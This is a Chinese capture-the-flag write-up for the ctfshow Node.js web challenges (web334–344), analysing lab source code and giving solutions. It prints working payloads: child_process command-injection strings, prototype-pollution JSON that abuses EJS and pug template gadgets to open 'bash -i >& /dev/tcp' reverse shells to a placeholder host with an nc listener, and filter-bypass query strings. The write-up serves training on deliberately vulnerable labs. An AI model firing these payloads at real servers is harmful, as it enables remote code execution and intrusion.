ctfshow-web入门-nodejs系列
web334
下载源码后缀改为zip打开即可
先对源码经行一个简单的分析
login.js
// 引入Express框架
var express = require('express');
// 创建一个路由实例
var router = express.Router();
// 引入用户数据,假设user模块导出的是一个包含用户项的对象
var users = require('../modules/user').items;
// 定义一个查找用户的函数,接受用户名和密码作为参数
var findUser = function(name, password){
// 使用Array.find方法在用户数据中查找符合条件的用户
return users.find(function(item){
// 查找用户名为name(转换为大写,排除CTFSHOW)且密码匹配的用户
return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* 处理登录请求的路由。客户端发送POST请求到这个路由时,会执行以下逻辑 */
router.post('/', function(req, res, next) {
res.type('html'); // 设置响应的内容类型为HTML
// 假设是一个标志位或秘钥,通常用来做登录成功后的验证或提示
var flag = 'flag_here';
// 获取当前会话
var sess = req.session;
// 使用findUser函数查找用户
var user = findUser(req.body.username, req.body.password);
// 如果找到用户
if(user){
// 重新生成会话
req.session.regenerate(function(err) {
if(err){
// 如果会话生成失败,返回登录失败的响应
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
// 设置会话的登录用户信息
req.session.loginUser = user.username;
// 返回登录成功的响应,并携带flag
res.json({ret_code: 0, ret_msg: '登录成功', ret_flag: flag});
});
} else {
// 如果未找到用户,返回账号或密码错误的响应
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
// 导出路由,以便在其他地方使用
module.exports = router;
------------
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
比较重要的函数
var findUser = function(name, password){
// 使用Array.find方法在用户数据中查找符合条件的用户
return users.find(function(item){
// 查找用户名为name(转换为大写,排除CTFSHOW)且密码匹配的用户
return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
代码解析
函数定义 (findUser):
findUser 是一个匿名函数,被赋值给变量 findUser。它接受两个参数:name(用户名)和 password(密码)。
查找用户 (users.find):
users 是一个用户列表,假设是一个数组,其中每个元素都是一个用户对象。
Array.find 方法用于遍历数组中的元素,并返回第一个满足条件的元素。如果没有找到满足条件的元素,则返回 undefined。
查找条件 (function(item)):
find 方法中的回调函数会对数组中的每个元素执行一次,它的参数 item 代表当前遍历到的用户对象。
查找条件是:用户名 name 不是字符串 "CTFSHOW",且 item 对象的 username 属性等于 name 参数的全大写形式,并且 password 属性等于传入的 password 参数。
很明显只要登陆成功就给flag
不能用CTFSHOW用户
但是你输入ctfshow也会给你变为CTFSHOW
即可登陆成功
web335
进入后查看源码得到提示
很明显提示我们执行命令
官方有很多命令
eval=require("child_process").spawnSync('cat',['fl00g.txt']).stdout.toString()
eval=require("child_process").spawnSync('ls',['.']).stdout.toString()
解释
导入 child_process 模块:
require("child_process") 用于导入 Node.js 的 child_process 模块。
执行 ls 命令:
spawnSync('ls', ['.']) 同步执行 ls 命令,这里的参数 ['.'] 表示列出当前目录(.)的内容。
获取标准输出:
.stdout 访问子进程的标准输出,它是一个缓冲区(Buffer)对象。
.toString() 方法将缓冲区转换为字符串,使输出内容可读。
eval=require('child_process').execSync('ls').toString()
eval=require('child_process').execSync('cat fl00g.txt').toString()
这个可以不进行最后的转换
解释:
execSync 返回的是一个 Buffer 对象,Buffer 是 Node.js 中用于处理二进制数据的类。即使不进行转换,也可以直接输出 Buffer 对象,Node.js 会自动将其转换为字符串显示在控制台。
直接输出 Buffer 对象:
当你使用 console.log 打印 Buffer 对象时,Node.js 会将其自动转换为字符串形式,并显示在控制台上。这样,你也能看到 ls 命令的执行结果。
为何转换为字符串:
虽然 Buffer 对象在控制台上会自动显示为字符串,但在实际的编程中,通常会将 Buffer 转换为字符串以便进行进一步处理。使用 toString() 方法可以确保你得到的是正确编码的字符串,并能够在代码中以字符串的方式进行处理。
web336
把上一题的execSync过滤了
但是还可以用
eval=require("child_process").spawnSync('cat',['fl00g.txt']).stdout.toString()
eval=require("child_process").spawnSync('ls',['.']).stdout.toString()
web337
给了题目
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
很明显只要能过
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))
就能拿到flag
a && b && a.length===b.length && a!==b
这些传数组就行
但是后面
md5(a+flag)===md5(b+flag)需要动动脑子
如果你直接a[]=1&b[]=2
就相当于a=[1]&b=[2]
很明显绕不过md5(a+flag)===md5(b+flag)
在 JavaScript 中,当你将一个数组与字符串进行连接时,数组会被隐式转换为字符串。对于数组对象,这种转换会调用数组的 toString() 方法。数组的 toString() 方法会将数组的所有元素转换为字符串并用逗号分隔,然后返回生成的字符串。
代码解释
javascript
复制代码
let a = [2];
console.log(a + "flag{xxx}");
数组 a:数组 a 包含一个元素 2。
连接字符串:当数组 a 与字符串 "flag{xxx}" 进行连接时,数组 a 会被转换为字符串 "2"。因此,最终的输出是 "2flag{xxx}"。
当我们传入a[a]=1&b[b]=2
经过
req.query.a
req.query.b
就变成了
{'a':'1'}
这样就可以成功绕过
web338
下载源码
看app.py
再
很明显的原型链污染
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
要使secert.ctfshow===36dboy
就可以拿到flag
我们只需要通过user进行污染即可
{"a": 1, "__proto__": {"ctfshow": "36dboy"}}
web339
这一题的login.js
if(secert.ctfshow===flag)
而flag的值我们也不知道所以不能像上题一样直接改ctfshow的值来通过了
但是这一题多了一个api.js
里面有一个query是未定义的,其会向其原型找,那么通过污染原型构造恶意代码即可rce。
监听端口
nc -lvvp 9999
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/9999 0>&1\"')"}}
在/login进行污染
再访问一下/api
即可
查看login.js即可
还有一个非预期解
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}
index发包再api发包
这有详解
web340
和上一题差不多
就是我们能控制的是userinfo,但是userinfo上一级是user,user的上一级才是object,才能影响到'api', { query: Function(query)(query)}
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}
剩下的步骤和上面一样
web341
和上一题的区别是没有了api.js没法再进行命令执行了
但是我们上面有个非预期解还记得吗
那个非预期姐是这个预期解
我们需要利用一个工具来找到这个漏洞--snyk
sudo apt update
sudo apt install nodejs npm
sudo npm install -g snyk
然后
snyk auth授权
再把源码托到虚拟机里
进入源码
snyk test即可
中间安装出错了可以问ai
存在ejs模板引擎漏洞。
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');var __tmp2"}}}
//直接监听发送即可
老地方没找到flag
直接env查看环境变量即可
web342,343
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}
或
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');//"}}}
或
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}
改Content-Type: application/json
env即可
web344
给了源码
// 定义一个路由处理器,当访问 '/' 路径时执行
router.get('/', function(req, res, next) {
// 设置响应类型为 'html'
res.type('html');
// 定义一个变量 flag,存储字符串 'flag_here'
var flag = 'flag_here';
// 检查请求的 URL 中是否包含 '8c', '2c', 或 ',',忽略大小写
if(req.url.match(/8c|2c|\,/ig)){
// 如果匹配,则返回消息并结束响应
res.end('where is flag :)');
}
// 解析请求查询参数中的 'query' 字段,并将其转换为 JavaScript 对象
var query = JSON.parse(req.query.query);
// 检查解析后的 query 对象中的 name 是否为 'admin',
// password 是否为 'ctfshow',以及 isVIP 是否为 true
if(query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true){
// 如果以上条件都满足,则返回 flag 的内容并结束响应
res.end(flag);
} else {
// 如果条件不满足,则返回消息并结束响应
res.end('where is flag. :)');
}
});
需要满足
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true)
//?query={"name":"admin","password":"ctfshow","isVIP":true}
但是过滤了,和2c(逗号的url编码)
我们可以用&代替
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
传之前对ctfshow进行url编码
?query={"name":"admin"&query="password":"%63%74%66%73%68%6f%77"&query="isVIP":true}
因为"的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。